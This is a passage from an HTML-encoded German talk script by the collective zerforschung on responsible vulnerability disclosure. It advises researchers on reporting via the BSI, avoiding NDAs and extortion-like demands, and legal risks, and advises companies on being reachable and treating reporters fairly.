&lt;li&gt;Das Profil von Katzi McCatface ist zu sehen&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;und manchmal kann man auch noch ganz gut Tipps geben, wie die Lücke geschlossen werden kann.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Wenn ihr da was habt, dann schreibt auch das in den Report rein. Aber das muss auch nicht sein. Das ist schließlich Aufgabe der Unternehmen und nicht eure.&lt;/p&gt;
&lt;p&gt;Nachdem ihr alle Infos für euren Report zusammen habt, muss das Unternehmen davon erfahren. Dafür gibts mehrere Möglichkeiten.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;CEO: Hack, Hack, Hack &amp;amp; Hack – Hase – Wir bauen die Bänke für ihre Daten. Wie kann ich ihnen helfen?&lt;/p&gt;
&lt;p&gt;pajowu: Hier ist pajowu von Zerforschung, wissen sie, warum ich anrufe?&lt;/p&gt;
&lt;p&gt;CEO: Möchten sie eine Bestellung aufgeben oder haben sie eine Reklamation?&lt;/p&gt;
&lt;p&gt;pajowu: In ihrem CRM ist durch eine CSRF mit Missing Authentication Full Access auf die PPI ihrer Customers möglich.&lt;/p&gt;
&lt;p&gt;CEO: Wir haben MDF, HDF, Multiplex und Vollholz. Was anderes haben wir nicht.&lt;/p&gt;
&lt;p&gt;pajowu: Da haben sie mich falsch verstanden. Ich habe eine Sicherheitslücke bei ihnen gefunden, durch die ich die Daten all ihrer Kund*innen abrufen kann. Haben Sie 5 Minuten Zeit für mich?&lt;/p&gt;
&lt;p&gt;CEO: Das ist schlecht, ja, was machen wir jetzt?&lt;/p&gt;
&lt;p&gt;pajowu: Ich wollte mit ihnen kurz besprechen wie ich ihnen das am besten melde, damit es möglichst schnell behoben wird.&lt;/p&gt;
&lt;p&gt;CEO: Das hat jemand für uns gebaut. Wenn sie dran bleiben kann ich ihnen den Kontakt raussuchen den sie anrufen können.&lt;/p&gt;
&lt;p&gt;pajowu: Ja, das ist perfekt!&lt;/p&gt;
&lt;p&gt;CEO: Super, dankeschön. Bis gleich!&lt;/p&gt;
&lt;/div&gt;
&lt;h4 id=&#34;report-goes-brrrr--wie-eure-meldung-ankommt&#34;&gt;Report goes brrrr – wie eure Meldung ankommt&lt;/h4&gt;
&lt;p&gt;In den meisten Situationen ist es wohl am einfachsten, über das Schwachstellenformular vom BSI zu gehen – das geht auch anonym. Das findet ihr unter &lt;a href=&#34;https://www.bsi.bund.de/Schwachstellenmeldung&#34;&gt;https://www.bsi.bund.de/Schwachstellenmeldung&lt;/a&gt; oder &lt;a href=&#34;https://www.bsi.bund.de/dok/465986&#34;&gt;https://www.bsi.bund.de/dok/465986&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;Wenn ihr das ausfüllt, schickt ihr die Schwachstellenmeldung direkt an das CERT-Bund – das Computer Emergency Response Team des Bundes. Das ist ein Team beim Bundesamt für Sicherheit in der Informationstechnik. Deren Haupt-Job ist, dafür zu sorgen, dass die Infrastuktur der Bundesverwaltung sicher ist – also, dass zum Beispiel niemand den Bundestag hackt. Daher sind sie auch Ansprechpartner*in für Leute wie euch, wenn ihr Sicherheitsprobleme in der Infrastuktur des Bundes findet.&lt;/p&gt;
&lt;p&gt;Aber nebenbei kümmern die sich auch darum, zwischen Sicherheitsforscher*innen und Unternehmen zu vermitteln. Also euren Report entgegenzunehmen, in der Regel innerhalb weniger Stunden zu prüfen und dann dem betroffenen Unternehmen Bescheid zu sagen.&lt;/p&gt;
&lt;p&gt;Das macht es für euch ein bisschen einfacher:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ihr müsst keinen direkten Kontakt mit dem Unternehmen haben, außer ihr wollt das natürlich.&lt;/li&gt;
&lt;li&gt;Wenn das BSI dem Unternehmen schreibt, kümmern die sich oft ziemlich schnell darum, die Sicherheitslücken zu schließen, denn so ein Bundesadler auf dem Briefkopf macht schon einigen Eindruck.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ansonsten haben die auch rechtliche Möglichkeiten, können zum Beispiel eine Produktwarnung aussprechen. Damit warnen sie dann öffentlich vor der Software eines Herstellers – und das wollen die auf keinen Fall.
Das kam aber erst drei mal vor. Damals wurden Android-Handys verkauft, die bereits mit Schadsoftware ausgeliefert wurden.&lt;/p&gt;
&lt;p&gt;Aber immer im Hinterkopf haben: Das BSI ist eine Sicherheitsbehörde, wie Polizei und Geheimdienste, und dem Innenministerium nachgeordnet. Das CERT-Bund arbeitet zwar anders als Polizei und Geheimdienste, und aus unserer Perspektive ziemlich unabhängig. Aber überlegt euch immer, was ihr denen erzählt und meldet – eine Lücke, die sich zum Beispiel für einen Staatstrojaner eignet, wie das nächste Heartbleed oder log4shell – würden &lt;em&gt;wir&lt;/em&gt; denen eher nicht melden.&lt;/p&gt;
&lt;p&gt;Damit das in Zukunft nicht mehr nötig ist, fordern wir: Das BSI muss eine unabhängige Behörde werden, der Hacker*innen-Paragraph abgeschafft – und Frontex auch.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Linus: Ja, das fordern wir schon Lange
&lt;/div&gt;
&lt;h4 id=&#34;dinge-die-ihr-ganz-unbedingt-_nicht_-tun-solltet&#34;&gt;Dinge, die ihr ganz unbedingt &lt;em&gt;nicht&lt;/em&gt; tun solltet&lt;/h4&gt;
&lt;p&gt;Soweit so gut. Es gibt aber auch einige Dinge, die ihr beachten solltet.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;direkt alles erzählen was ihr wisst – kein Wissen zurückhalten.&lt;/li&gt;
&lt;li&gt;keine Forderungen stellen. Keine Frage nach Geld, T-Shirts, oder Geschenken – gar nichts.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Andersrum müsst ihr aber auch aufpassen, dass keine Forderungen an euch gestellt werden.&lt;/p&gt;
&lt;p&gt;Zum Beispiel Geheimhaltungsvereinbarungen, die sind häufig Bedingungen bei Bugbountys. Damit geht ihr gerne mal einen Knebelvertrag ein, der euch daran hindern soll, über die Sicherheitslücke zu sprechen oder noch einmal das System zu untersuchen.&lt;/p&gt;
&lt;p&gt;Also: Keine Forderungen stellen und keinen Forderungen entsprechen – erst recht keinen Geheimhaltungsvereinbarungen, sogenannten NDAs!&lt;/p&gt;
&lt;h4 id=&#34;auch-wir-machen-fehler&#34;&gt;Auch wir machen Fehler&lt;/h4&gt;
&lt;p&gt;Wir haben diesen Fehler auch mal gemacht und ärgern uns darüber bis heute.
Damals hatten wir noch keine Erfahrung und haben eine Sicherheitslücke über das offizielle Bugbounty-Programm des Herstellers gemeldet.
Was wir nicht richtig bedacht hatten: Dieses Programm enthielt eine Verschwiegenheitsklausel, sodass wir nichts darüber erzählen oder schreiben dürfen, das nicht vorher vom Hersteller freigegeben wurde.&lt;/p&gt;
&lt;p&gt;Genau das ist, was die Hersteller mit solchen Abmachungen erreichen wollen – das Narrativ kontrollieren und euch daran hindern, frei über die Schwachstelle zu sprechen.&lt;/p&gt;
&lt;p&gt;Und das ist ein Problem, weil wir auch als Gesellschaft über Sicherheitsprobleme in Software reden sollten. Denn nur so können wir auch über neue gesellschaftliche Maßnahmen sprechen, um diese zu vermeiden.&lt;/p&gt;
&lt;p&gt;Versucht auch nicht, dem Unternehmen, dem ihr eine Sicherheitslücke gemeldet habt, danach eure Beratungstätigkeiten zu verkaufen.
Geht darauf auch nicht ein, wenn das Unternehmen danach fragt.
Das Risiko ist zu groß, dass sie das später gegen euch verwenden.&lt;/p&gt;
&lt;p&gt;Wenn ihr euch unsicher seid, ob euer Report, so wie er ist, gut ist oder ihr euch irgendwie unsicher fühlt, dann redet lieber nochmal mit jemandem mit mehr Erfahrung darüber.&lt;/p&gt;
&lt;p&gt;Das kann z.B. Linus machen.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Linus: ja, das kann ich machen. Schreibt einfach an disclosure [at] ccc.de&lt;/p&gt;
&lt;p&gt;Ja, Linus kann das. Und das ist auch nichts, wofür man sich schämen sollte. Wir haben das auch schon ganz oft gemacht.&lt;br&gt;
Und statt Linus könnt ihr auch uns fragen: &lt;a href=&#34;mailto:hallo@zerforschung.org&#34;&gt;hallo@zerforschung.org&lt;/a&gt;. Wir machen das auch gerne.&lt;/p&gt;
&lt;p&gt;Linus: Ja, zerforschung kann das auch machen, dann muss ich das nicht alles machen! Die machen das bestimmt auch sehr gerne.&lt;/p&gt;
&lt;p&gt;Hey, das hab ich gerade schon gesagt.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Ihr solltet außerdem eine Sicherheitslücke zügig reporten. Das heißt jetzt nicht, dass ihr es überstürzen müsst. Aber ihr solltet z.B. nicht eine Lücke finden, sie testweise ausnutzen und dann wochenlang keinen Report schreiben.
Denn wenn das Unternehmen die Lücke in der Zwischenzeit von sich aus findet und dann in den Logs sieht, dass ihr diese ausgenutzt und nicht zeitnah Bescheid gesagt habt, dann wird euch das oft erstmal als böswillig ausgelegt. Da wieder rauszukommen und seine gute Absicht zu beweisen, ist super kompliziert – also meldet die Lücke von euch aus, sobald ihr alles einmal gut durchdacht und formuliert habt.&lt;/p&gt;
&lt;h4 id=&#34;seid-offen-und-seid-gut&#34;&gt;Seid offen und seid gut&lt;/h4&gt;
&lt;p&gt;Das heißt übrigens auch: Schreibt alles in den Report, was ihr wisst! Wenn ihr dabei nämlich Infos zurückhaltet, dann kann das auch schnell so aussehen, als würdet ihr das absichtlich machen.
Was eine richtige Scheiß-Idee ist, ist dann Geld zu verlangen, um alles zu erzählen. Und wir wissen ja: erpresserisch wirken kann böse enden. Also macht es nicht.&lt;/p&gt;
&lt;p&gt;Was auch sowohl bei Unternehmen wie auch Behörden nicht gut ankommt ist, wenn ihr automatisierte Reports mit eurem Schwachstellenscanner generiert und diese dann direkt so verschickt. Nicht falsch verstehen – auch solche Scanner können wichtige Hinweise liefern, aber damit steht ihr erst am Anfang – also springt zurück an den Beginn des Vortrags und fangt an, die Lücke zu bewerten.&lt;/p&gt;
&lt;p&gt;Das alles klingt jetzt vielleicht nach viel Spaß – und das ist es auch.
Aber es ist wichtig, vor jedem Schritt gründlich nachzudenken, denn es kann auch viel schiefgehen.&lt;/p&gt;
&lt;h4 id=&#34;vorsicht-hackerparagraph&#34;&gt;Vorsicht Hackerparagraph&lt;/h4&gt;
&lt;p&gt;Wenn ihr eine Lücke gefunden habt und sie meldet, dann sagt ihr damit implizit auch, dass ihr die auch ausgenutzt habt.
Das geht kaum anders, aber in Deutschland könnte das eine Straftat sein – nach dem sogenannten Hacker*innen-Paragraphen, 202 StGB.
Der verbietet es, sich Zugriff auf besonders geschützte Daten zu verschaffen.
Klingt erstmal sinnvoll, aber der entsprechende Paragraph ist absolut unklar und wird dadurch auch gefährlich für Menschen, die nichts Böses im Schilde führen.
Selbst die CDU, die dieses Gesetz eingeführt hat, versteht diesen Paragraphen anscheinend nicht richtig – und hat Lilith neulich angezeigt, nachdem sie eine Sicherheitslücke in der CDU-App gefunden und gemeldet hat.
Die Staatanwaltschaft hat dann aber gesagt, dass die Daten so schlecht geschützt waren, dass es nicht strafbar war, darauf zuzugreifen.&lt;/p&gt;
&lt;p&gt;Sicherheitsforscher*innen anzuzeigen ist aber trotzdem eine extrem schlechte Idee und nur wirklich sehr … schwierige Menschen versuchen das.
Von denen haben wir zum Glück bisher wenige kennengelernt, aber es gibt sie.
Daher hoffen wir sehr, dass dieser Paragraph bald abgeschafft wird. Damit sind wir übrigens nicht die einzigen, das haben neulich auch ganz viele IT-Sicherheitsforscher*innen in einem offenen Brief gefordert.&lt;/p&gt;
&lt;p&gt;Überlegt euch also gut, ob ihr eure Identität herausgeben möchtet. Melden geht ja auch ohne euren richtigen Namen.
Und denkt dran: Im Internet seid ihr in der Regel nicht anonym unterwegs. Schützt euch am besten von Anfang an – denn wenn ihr etwas gefunden habt, dann wurde eure IP schon irgendwo mitgeloggt und es ist zu spät, sich jetzt noch um Anonymität zu kümmern. Dazu haben Linus und Thorsten schon einen sehr guten Talk mit dem Titel &amp;ldquo;Du kannst alles hacken – du darft dich nur nicht erwischen lassen&amp;rdquo; gehalten.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Linus: Oh, da habe ich zusammen mit Thorsten einen Vortrag drüber gehalten mit dem Titel &amp;ldquo;Du kannst alles hacken – du darft dich nur nicht erwischen lassen&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Ja, genau. Dazu hat Linus zusammen mit Thorsten schon einen sehr guten Talk mit dem Titel …&lt;/p&gt;
&lt;p&gt;Linus, unterbricht: Das habe ich doch gerade gesagt.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Und wenn ihr mit dem Unternehmen kommuniziert, solltet ihr ebenfalls sehr vorsichtig sein.
Haltet keine relevanten Informationen zurück, aber passt auch auf, euch nicht unnötig zu belasten.&lt;/p&gt;
&lt;p&gt;Erwartet nicht, dass das Unternehmen euch dankbar ist.
Gerade zu Beginn sind die Unternehmen oft erstmal im Schock und wissen nicht so recht, wie ihnen geschieht.
Dabei dürfen sie euch nicht drohen, anzeigen oder ähnliches – aber vielleicht sind sie erstmal ein bisschen pampig.&lt;/p&gt;
&lt;p&gt;Und wie bereits gesagt – seid extrem vorsichtig, auf keinen Fall irgendetwas zu tun, was als Drohung oder Erpressung wahrgenommen wird.&lt;/p&gt;
&lt;p&gt;Generell empfehlen wir, eure Wohnung auch stets in einem durchsuchungsbereiten Zustand zu halten. Es ist super scheiße, dass das nötig ist, aber gerade ist es so – und manchmal kommen Bullen ja auch aus anderen Gründen vorbei.&lt;/p&gt;
&lt;p&gt;Hierzu empfehlen wir den Talk &amp;ldquo;Sie haben das recht zu schweigen&amp;rdquo; von Udo Vetter. Den findet ihr zum Beispiel auf media.ccc.de und dort wird ausführlich erklärt, wie ihr euch am besten schützt.&lt;/p&gt;
&lt;h4 id=&#34;kümmert-euch-um-euch-selbst&#34;&gt;Kümmert euch um euch selbst&lt;/h4&gt;
&lt;p&gt;Aber wo wir gerade drüber sprechen, sich selbst zu schützen – das gilt nicht nur für eure Technik. Passt auf euch auf! Aber das ist leichter gesagt als getan. Denn wenn man dann tatsächlich eine Sicherheitslücke gefunden hat und all diese Schritte anstehen, dann kann es stressig werden: So eine Meldung kann viel Zeit, Nerven und auch eine Menge Schlaf kosten.&lt;/p&gt;
&lt;p&gt;Deshalb kümmert euch auch um eure Gesundheit – körperlich und geistig. Am besten sucht ihr euch Verbündete – gute Freund*innen, Menschen, mit denen ihr reden könnt, denen ihr vertraut und die euch auch mal sagen, dass jetzt mal Schluss ist mit der Hackerei und Zeit für einen Ausflug, zum Beispiel zu einem hübschen Zug.
Gegenseitig aufeinander aufpassen geht nämlich meistens einfacher als auf sich selbst. Und es tut einfach gut.&lt;/p&gt;
&lt;p&gt;Für uns ist zerforschung genau das: eine krasse Herde. Und zusammen haben wir es geschafft, dieses Jahr viel mehr zu erreichen, als jede*r von uns einzeln erreicht hätte. Und wir hatten auch noch richtig viel Spaß dabei. Außerdem haben wir die Pandemie (bis jetzt) ein bisschen besser ausgehalten.&lt;/p&gt;
&lt;p&gt;Für uns ist klar: Ohne dieses Kollektiv hätten wir das alles überhaupt gar nicht hinbekommen. Schon alleine zeitlich – es ist einfach unglaublich entlastend, wenn man Aufgaben auch mal abgeben kann. Und mehr Köpfe denken immer besser als nur einer – durch das Kollektiv haben wir unterschiedliche Perspektiven und unterschiedliche Skills. Das ist einfach mega praktisch. Und schön.&lt;/p&gt;
&lt;p&gt;Natürlich kommt es vor, dass wir überhaupt keine Lust haben. Wenn wir uns beispielsweise an einem Dienstagabend um 23:42 zusammensetzen, und feststellen: Bis morgen um 6 Uhr muss der Text fertig sein. Und Threads für Social Media. Und ein Titelbild für den Blogpost. Das ist wirklich nicht immer spaßig. Aber gemeinsam geht&amp;rsquo;s dann doch irgendwie und am Ende macht es dann immer wieder sehr, sehr glücklich.&lt;/p&gt;
&lt;p&gt;Also: Sucht euch Freund*innen, bildet Banden und meldet eure Sicherheitslücken gemeinsam!&lt;/p&gt;
&lt;p&gt;Gut – angenommen, ihr habt jetzt alles richtig gemacht und sagt dem Unternehmen Bescheid. Was passiert jetzt?&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;CEO am Telefon:&lt;/p&gt;
&lt;p&gt;Hack, Hack, Hack &amp;amp; Hack – Wir bauen die Bänke für ihre Daten, wie kann ich ihnen helfen?&lt;br&gt;
Datenabfluss, ist das eine Krankheit oder was?&lt;br&gt;
Was soll das heißen, Kundendaten?&lt;br&gt;
Das geht so nicht, da ruf ich die Polizei!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Hallo, ich hab einen Notruf, haben sie eine Cyberpolizei oder sowas?&lt;br&gt;
Ich hatte gerade einen Anruf, der wollte mich erpressen! Er hat was mit Daten gesagt, Datenabfluss…&lt;br&gt;
Der hätte alle meine Kundendaten…&lt;/p&gt;
&lt;p&gt;Einen Namen hat er gesagt, irgendwas adliges… von Zerforschung oder sowas in der Richtung?&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id=&#34;für-unternehmen-richtig-mit-meldungen-umgehen&#34;&gt;Für Unternehmen: Richtig mit Meldungen umgehen&lt;/h3&gt;
&lt;p&gt;Tja, liebe Unternehmen jetzt kommen wir mal zu euch. Eigentlich sind eure Aufgaben relativ einfach erklärt:
Seid freundlich und offen gegenüber den Meldenden, schließt die Lücken und kommt gar nicht erst auf die Idee, uns zu verklagen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Naja ein bisschen was haben wir doch noch zu erzählen…&lt;/p&gt;
&lt;p&gt;Vorweg:&lt;br&gt;
Ihr kommuniziert in einem Responsible Disclosure Prozess oft mit einer Person oder einem Team, die das in ihrer Freizeit machen. Das bedeutet, geht ordentlich mit den Leuten um.&lt;/p&gt;
&lt;h4 id=&#34;schraubt-das-virtuelle-klingelschild-an&#34;&gt;Schraubt das virtuelle Klingelschild an&lt;/h4&gt;
&lt;p&gt;Aber eigentlich fängt eure Aufgabe schon weit vorher an, lange bevor ihr die &amp;ldquo;Hacker*innen&amp;rdquo; am Hörer habt.
Der allererste Schritt für euch als Unternehmen ist es, erreichbar zu sein.
Denn Fehler passieren, und wenn jemand außerhalb eurer Organisation diese findet, sollten euch die einfach mitgeteilt werden können.&lt;/p&gt;
&lt;p&gt;Denn die wichtigste Frage, die sich Sicherheitsforscher*innen da oft erstmal stellen ist: &amp;ldquo;Wie erreicht man euch?&amp;rdquo; Da hat es sich bewährt, dass ihr auf eurer Website eine spezielle E-Mail-Adresse für Sicherheitsangelegenheiten stehen habt, wie z.B. security@&lt;/p&gt;
&lt;p&gt;Es ist außerdem sehr ratsam, dass diese E-Mailadresse von mehreren Personen gelesen und regelmäßig abgerufen wird.
Denn es bringt nichts, wenn ihr eine wichtige Sicherheitslücke gemeldet bekommt, aber die verantwortliche Person gerade im Sommerurlaub ist oder eh nur einmal im Monat nachschaut.
Die ankommenden Mails sollten am besten direkt von technisch kompetentem Personal gelesen werden, damit alles möglichst schnell gehen kann.&lt;/p&gt;
&lt;p&gt;Ihr solltet auch regelmäßig in den Spamordner schauen. Hacker*innen nutzen manchmal eigene E-Mailserver und da schaffen es die Mails dann nicht immer in den Posteingang – gerade bei Google oder Outlook.&lt;/p&gt;
&lt;p&gt;Das mit der Erreichbarkeit klingt erstmal trivial. Aber wir erleben es regelmäßig, dass wir erstmal keine expliziten Ansprechpartner*innen für Sicherheitsprobleme finden. Das bedeutet dann oft: Wir müssen an alle E-Mail-Adressen aus dem Impressum, der Datenschutzerklärung oder der Kontaktseite schreiben.
Und das ist natürlich auch für ein Unternehmen suboptimal. Denn dann landet die Meldung direkt bei einer Menge verschiedener Leute. Die sind meist garnicht nicht auf Sicherheitsmeldungen spezialisiert und können diese nicht richtig einschätzen.
Dann herrscht erstmal Panik, niemand weiß was zu tun ist. Dann kann alles mögliche passieren: Die Nachricht wird ignoriert oder im schlimmsten Fall wird die Meldung von den falschen Leuten in der Chefetage gelesen und direkt zu den Anwälten eskaliert.&lt;/p&gt;
&lt;p&gt;Daher ist eine separate Adresse sinnvoll – und wenn dann dort eine Meldung eingeht, solltet ihr schnell reagieren und zeitnah eine Eingangsbestätigung versenden.
Dann wissen wir, dass ihr die Meldung gelesen habt und wir nicht weiter probieren müssen, euch zu erreichen.&lt;/p&gt;
&lt;p&gt;Denn wenn wir bei zerforschung auf dem E-Mail-Weg nichts von euch hören, dann suchen wir nach immer neuen Wegen.
Vielleicht schreiben wir euch auf Whatsapp, sliden euch in die Twitter-DMs, schicken euch ein Fax, suchen euch auf LinkedIn, rufen eure Investoren oder sogar eure Eltern an. Das klingt jetzt komisch, aber das haben wir alles schon gemacht.
Denn wir wollen &lt;strong&gt;ganz&lt;/strong&gt; sicher gehen, dass ihr über das Problem Bescheid wisst und es möglichst schnell behebt.&lt;/p&gt;
&lt;p&gt;Genau daher sollte die Security-Mailadresse einfach auffindbar sein. Zum Beispiel im Impressum stehen – oder noch cooler: Ihr veröffentlicht zusätzlich eine security.txt Datei auf eurer Website. Das ist ein offener Standard, um alle relevanten Informationen für Sicherheitsforschernde zu hinterlegen.
Darin können sowohl die korrekten Kontaktwege als auch eure bevorzugten Sprachen für eine Meldung, Crypto-Keys und vieles mehr stehen. Damit macht ihr uns und euch die Arbeit einfacher.&lt;/p&gt;
&lt;h4 id=&#34;oh-eine-email&#34;&gt;Oh, eine Email!&lt;/h4&gt;
&lt;p&gt;So, ihr habt eine Meldung erhalten. Der nächste Schritt ist zu prüfen, ob ihr die Beschreibung der Lücke nachvollziehen könnt.
Wenn das so ist, bestätigt das auch gleich gegenüber den Sicherheitsforschenden.
Das ist wirklich wichtig, denn sonst werden wir euch weiter nerven, das kostet uns und euch Zeit!&lt;/p&gt;
&lt;p&gt;Am besten erklärt ihr dann auch direkt, wie es jetzt weitergeht, bis die Lücke behoben ist.
Hierbei ist sowohl interessant, welche Sofort-Maßnahmen ihr trefft, als auch welche langfristigen Konsequenzen ihr daraus zieht. Zum Beispiel:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Sehr geehrtes Hacker-Kollektiv Zerforschung,&lt;/p&gt;
&lt;p&gt;Wir haben die von ihnen beschriebene Lücke nachvollziehen können und gestern Abend direkt den betroffenen Dienst vorrübergehend offline genommen.
Wir haben die Lücke geschlossen und überprüfen nun den Dienst noch einmal gründlich.&lt;/p&gt;
&lt;p&gt;Vielen Dank für das Responsible Disclosure Verfahren!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Und wenn ihr die Lücke aus der Beschreibung nicht direkt nachvollziehen könnt, dann fragt lieber erstmal nach, ob ihr das alles richtig verstanden habt. Und behauptet auf keinen Fall vorschnell, dass eine Lücke nicht existiert.&lt;/p&gt;
&lt;p&gt;Ihr wollt den Menschen, der euch da geholfen hat, auch wirklich auf dem Laufenden halten und keinerlei Missverständnisse in der Kommunikation aufkommen lassen. Deswegen schickt lieber ein Update zu viel als eines zu wenig. Am besten ist natürlich, ihr haltet die Meldenden regelmäßig und unaufgefordert auf dem Laufenden. Schreibt zum Beispiel jede Woche einmal den aktuellen Stand darüber, wie weit ihr mit der Problembehebung seid.&lt;/p&gt;
&lt;p&gt;Kommuniziert dabei alles sehr deutlich. Wenn es z.B. eine Verschiebung in der Timeline zur Behebung gibt, dann solltet ihr das explizit so benennen und begründen.&lt;/p&gt;
&lt;p&gt;Ihr wollt ja, dass die Sicherheitsforscher*innen ehrlich und vollständig transparent mit euch sind – also seid es auch.
Packt alle Karten auf den Tisch und haltet nichts zurück.&lt;/p&gt;
&lt;p&gt;Außerdem ist das wichtig, da Sicherheitsforschende manchmal auch selber etwas über die Lücke schreiben wollen. Wir zum Beispiel versuchen danach immer einen Blogpost zu schreiben. Dort beschreiben wir, wie wir die Lücke gefunden haben und was die Auswirkungen davon waren. Dadurch können alle etwas aus dem Fehler lernen und solche Lücken werden in Zukunft hoffentlich seltener.&lt;/p&gt;
&lt;h4 id=&#34;die-lücken-habt-ihr-selbst-gebaut&#34;&gt;Die Lücken habt ihr selbst gebaut&lt;/h4&gt;
&lt;p&gt;Wenn ihr mit Sicherheitsforschenden redet oder schreibt, gilt eigentlich das gleiche wie für alle anderen Menschen: Benehmt euch nicht daneben – Seid freundlich, ehrlich und dankbar gegenüber den Melder*innen.&lt;/p&gt;
&lt;p&gt;Bedenkt immer: Da helfen euch Leute in ihrer Freizeit, eure Software sicherer zu machen.
Ja, es ist für euch keine schöne Situation, wenn da ein großes Sicherheitsproblem in eurer Software ist.
Aber daran sind nicht die Sicherheitsforscher*innen Schuld.
Die haben die Lücke nur gefunden und nicht eingebaut.&lt;/p&gt;
&lt;p&gt;Also überlegt mal, wie beschissen sich das für eure Gegenseite anfühlt.
Da hat sich jemand in ihrer Freizeit hingesetzt, eure Software angeschaut und ein Problem gefunden.
Dann hat die Person euch sogar Bescheid gesagt – und von euch kommt nur Gepöbel, Drohungen oder gar eine Strafanzeige.&lt;/p&gt;
&lt;p&gt;Damit verschreckt ihr ehrliche Sicherheitsforscher*innen.
Das ist der &lt;em&gt;worst case&lt;/em&gt; für eure Sicherheit. Denn die Lücken sind ja nicht weg, nur weil niemand sie euch meldet.
Stattdessen werden die Lücken dann gar nicht gemeldet, als Full Disclosure direkt dem ganzen Internet bekannt gemacht oder an Kriminelle verkauft.&lt;/p&gt;
&lt;p&gt;Das musste auch die CDU lernen.
Nachdem sie Lilith angezeigt hat, gab es einen großen Aufschrei und sogar der CCC hat gesagt, dass sie der CDU keine Sicherheitslücken mehr vertraulich melden werden.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Linus: Das ist natürlich ein dramatischer Fall, wir können niemandem mehr reinen Gewissens dazu raten der CDU Sicherheitslücken zu melden, wir werden das auf jeden Fall auch nicht mehr tun.
Wir wünschen der CDU viel Glück, oder dass sie die Sicherheitslücken vielleicht selber findet oder hofft, dass niemand anderes sie findet.
&lt;/div&gt;
&lt;p&gt;Stattdessen wurden in den nächsten Tagen einige weitere Sicherheitslücken bei der CDU gefunden – und direkt öffentlich gemacht.&lt;/p&gt;
&lt;p&gt;Also passt sehr auf, dass ihr gut mit den Meldenden umgeht und wirklich nichts macht, was in irgendeiner Form als eine Bedrohung ausgelegt werden könnte.&lt;/p&gt;
&lt;p&gt;Es ist selbstverständlich, dass ihr Leute nicht dazu zwingt, irgendwas zu unterschreiben. Weder eine Verschwiegenheitserklärung noch einen Beratervertrag noch sonst irgendwas. Versucht es nichtmal.&lt;/p&gt;
&lt;p&gt;Natürlich freuen sich Sicherheitsforscher*innen oft, wenn ihr euch in irgendeiner Form erkenntlich zeigt. Aber sprecht auch das immer ab. Versendet nicht unaufgefordert Geschenke und überweist auch nicht einfach ein Bugbounty. Fragt immer nach, ob das auch wirklich gewünscht ist.&lt;/p&gt;
&lt;p&gt;Und ganz wichtig: Macht es, um euch ehrlich erkenntlich zu zeigen. Macht daraus keine Pressemitteilung und bindet es an keinerlei Bedinungen.
Dazu zählt auch: Bedankt euch nicht öffentlich ungefragt bei Sicherheitsforscher*innen, die euch die Lücke gemeldet haben. Nicht jede*r will auf eurer Unternehmenswebsite oder euren Social Media Kanälen mit Namen genannt werden.&lt;/p&gt;
&lt;p&gt;Das kann an einer politischen Überzeugung liegen – &lt;em&gt;wir&lt;/em&gt; würden nicht bei der Bundeswehr genannt werden wollen. Oder man möchte sich nicht mehr mit der Lücke beschäftigen; es könnte Stress auf Arbeit bedeuten. Oder die Leute wollen es einfach nicht – auch das müsst ihr akzeptieren.&lt;/p&gt;
&lt;h4 id=&#34;ehrlichkeit-ist-wichtig--rücksicht-auch&#34;&gt;Ehrlichkeit ist wichtig – Rücksicht auch&lt;/h4&gt;
&lt;p&gt;Es hat sich bewährt, nicht nur in der direkten Kommunikation mit Sicherherheitsforscher*innen, sondern auch in der Außenkommunikation immer offen und ehrlich zu sein, also nichts zu beschönigen oder gar zu verschweigen. Seid transparent darüber, was passiert ist und wie ihr das in der Zukunft vermeiden wollt.&lt;/p&gt;
&lt;p&gt;Es kann sein, dass Medien über den Sicherheitsvorfall bei euch berichten wollen. Versucht wirklich nicht, die anzulügen oder gar Sicherheitsforscher*innen gegenüber Redaktionen zu diskreditieren. Das geht eigentlich immer nach hinten los.&lt;/p&gt;
&lt;p&gt;Es gehört auch zum guten Ton, eine Sicherheitslücke nicht einfach als Pressemitteilung völlig unabgesprochen mit den Sicherheitsforscher*innen, die diese gefunden haben, zu veröffentlichen.&lt;/p&gt;
&lt;p&gt;Wir möchten euch außerdem dazu ermutigen, eure Nutzer*innen über den Vorfall zu informieren.
Auch das gehört zu einem guten und transparenten Umgang mit der Lücke. Selbst wenn ihr nahezu ausschließen könnt, dass deren Daten abgeflossen sind.&lt;/p&gt;
&lt;p&gt;Das, was wir in den letzten Minuten erklärt haben, sind nur die absoluten Basics. Wenn ihr wirklich gut mit Sicherheitsmeldungen umgehen und eure Sicherheitsprozesse verbessern wollt, könnt ihr noch viel mehr tun.
Dazu gibt es viel Literatur, mehr als in diesen Talk passt.&lt;/p&gt;
&lt;p&gt;Einen Link zu weiterführenden Inhalten und Dingen, die wir in diesem Talk erwähnt haben, findet ihr in den Shownotes unter &lt;a href=&#34;https://rc3.zerforschung.org/&#34;&gt;https://rc3.zerforschung.org/&lt;/a&gt; . (Anmerkung zum Skript: Also hier!)&lt;/p&gt;
&lt;h3 id=&#34;happy-hacking&#34;&gt;Happy hacking!&lt;/h3&gt;
